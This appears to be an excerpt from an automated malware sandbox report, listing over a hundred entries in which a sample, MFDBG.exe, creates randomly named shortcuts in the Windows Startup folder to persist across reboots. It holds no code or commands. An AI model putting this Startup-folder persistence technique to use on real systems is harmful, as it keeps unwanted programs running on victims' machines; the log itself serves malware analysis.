Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c213091100f402292d3ded0624a0b2c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97408bace1944605a3474cb6adcaa28b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8f2d29b5970047218139df0ac2cd7a49.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d5a9068976e474483718d19f44e0498.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e5217a5e63ba41abbd3cbeddf1f00b28.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3e024a750d6045de8f00184d7d113476.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0379f02ee0674870916bad2abadbf097.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f904d2b7f6d2425f806f74ff4548de80.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1c890c9ecbb04fccb0832c8f46d5b8e3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d6876fb5476d4a1a8cd461cec6e4076d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ce50ad6065a84c20aa02354f36f4c27c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_588009de7d0f4e5e817e3ae7c4860928.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4df69950c6e34401b394f3deb2c956d9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4f955d7b290486aa06e546930a42dea.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7b354e8efa1044fd834aa335d4ad1ea3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_420b49a7c3834955a124c6f2f1e86e81.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db784f4fafce4df98c5dc0b49add790a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a68309049a9413faa1e81b11d91fa18.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b0b4307d21ea476daedcc240b69010ca.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_726e3eb562dd41ccb9648f564fa52023.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_016da7c1301d4de097ef4b59a422b464.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_18e622c2acc24b2e9bfa30c608806c27.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_010b4eea1cee40d590b50d0d214d9624.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5da6f5e0491e4ef591f4f369008bc15c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_869d1e5ea9b34297bd3880e5a5bea7dc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_04b028c6990e4b1b874066f8f0f873cb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b256af91ac447138d3f1ef4c329441f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6a2c5b4a9b74da491ce913645176a7d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_10ff187488354e6a8586d97929bdf097.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5d8f5953c6d34985acaf3120f05b0ee9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_431c3b09a093492886dfae8495a104f9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fe82d8fe196c4479be0372563483996f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0fb7008bb14643e3967b8666d7dfdbc3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_548377bfd9794007920c26508c996a95.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5a028a702a6640f7acff7c2467323130.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cdb09e8fa2ed4c34b49da65184cc0f92.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_462c9bd944434f13b040b4da0ac1aa02.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e222587107ca434d92c7dc5a1c3c993b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d90184c109d4336866939af57cf9070.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a4edc110e1a54c89aeb875c642b73cd0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1248f0a9b74d43e4afa62aedaa31bdc1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e209847210184f9d9e08e9cda8ba96d9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_78162a22b2ef4f0689da0a2ba73b1dbd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_35c071a677804ae8852ef53d3a62ce6c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5bf3aa43aa3a46a7a07aa463eb27e702.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0af5661d04c74b5f8975ca4e2e62331a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b1ba1ac1b8b442181a0edc59e0eac91.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_56a5c4ad6d724679a741e3ae0cf1b533.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c04398a29594406ea5ca6be4eec2eb95.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e33a63152c3f44fba0d7fcbba2735872.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_443706702bc64a6084280292c3047e4a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_978804222c774ac2a11833f815415e93.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_67e60396547d4079aafe6badebce7f06.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5aa59bdb4e6d437fbffe16ea04a20d06.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_23588ea9485f496b87ff0b9bcc9a8dfe.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8f307e844fae488fb17774c67bc6cddb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_936153583a574e12ae5ce301d546ecb7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_88fe530d94d34ed893d8da1b577a9ee1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b1c09c0732dc442d920e1feab5f489f0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bb4f2043403b4e8ea1976bdfc0ecc667.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4ed775f1e87545de8158b854ee35e90e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3a7247fbce8d411485c351e38ee16606.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_28308894d2144ef6a4a1b0d5ee7d9390.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aee0ea27092f462aafc90242bcb9de5c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_223e055859ff4a2080a36903d49f4b7e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6db6193e78e742788bed73485bbe4374.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2163a7223a6d43fc877b75e98211f266.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_38298c94303845dabef0ef3d2061c2aa.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a74090e8956d40b1ade27ebeb3aa426f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b3bcd01edd474a47a86c8bd1792d05ee.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_18e3d52c42d74610b232ef29524a7823.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_baeaec4053514e5abffb4ee7ae9168fc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71e11022ed01427f85e63a28b7279b2a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b917c3aaed948ec9692b663ff65ec36.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6c85892c17804b8e94ac47c1953de172.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_34268db02fa248cdb69ee5b1b5e2d999.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d56f39a00fba487b853a6384ba548f6e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_790afdb9b26a4938a832a6e29bf2fc3b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2347fea100734ee0ae0ded8fe7a4f34e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b81f47a27fb54e7c9445d2ffb9084849.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_084228d3e4bf4430b3854a978df5792c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5067cc420a5343b5b6a89c50eb309968.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d9ce68203eb04024ad3c21a526da950a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_41e771998a3d42459107096c082683ba.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ba34989b21e3491e90fbf51a98ba4c24.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5643f754e8f3473f8fc0013ba9102384.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8ddfcca9825d4ae4b04378da42c71757.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2ef9de1d0e93471b966fe31aae29341d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ffc99a63dce94766b2f29046624f6966.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e0b86547848468ab107236cb5d3ea51.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e7f91745407d43f39ab8406d4a863a79.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0d82c8031be4e069f3441a9159c1231.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2e454b5e306c41c4b97ca312c15e652b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9dd22b6e00954ad3bd57f0f8a275e0f9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d272941c88943d28e67fe6f5764521a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dd498831bff149b99efb6c9e1c28f413.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7f667397dce04c79be453e8d40e50b43.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4b9f77d33834f3aafdf8ba5f09babc6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4e3cd0f2cc842d1a90a88be56724008.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_43fdf89f4bd34e69965ecc7f228a2f4f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4a72249031d4f969e1e6be20b01f78d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3623cbf1a6574ca9b15da0fa16784166.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a29d4a06ab024750af2bf767f5e85ad9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_540c2958b8314be5b328c344aa93f2d0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ea148e856ed84f7ba0b8469f6869aef1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_65bbd61b5cbf407fa1e71132d5337de6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_98e6c726b7bd458c87db2b85195a9436.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_476d3cd0c57f4e6e97af8426fd53b501.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_375a627c251d46d69691fa62cca36310.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c9d0cd915b1c48ed9caf11b313d6eee3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db5c4b99112e4fe283f3b096981b6f21.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7ee462d1dbb040b0bf5d46799f4f8f41.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4a1fcdc28334837b3566d5eab3c9f44.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f301b392d9de47899f1629c65eb08e38.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5987ffc54a344d27bd05434e61b1e5f0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6b67fc2032e410da5ef2d5ac0b602e4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_18e21aa91d9e42afb346847e0034a929.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8211aff5c1634044a9b9555327b4c49e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7209af5644af4813823ccf72f42388cf.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_37c3d651e5464e1a8f93b92872d6fab9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7d5defc5c3aa4fd4b37720cdc365337b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d24ea315e05d4f7c8b1a9dc726826917.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ca5c496c519d470983557f85790a9a98.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad132331281f42acbcf4965280ea9f0b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3de4ac887e5e4b0f9bb997dc3648a320.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_877a0124f4554c248284520cf620826a.lnk Jump to behavior
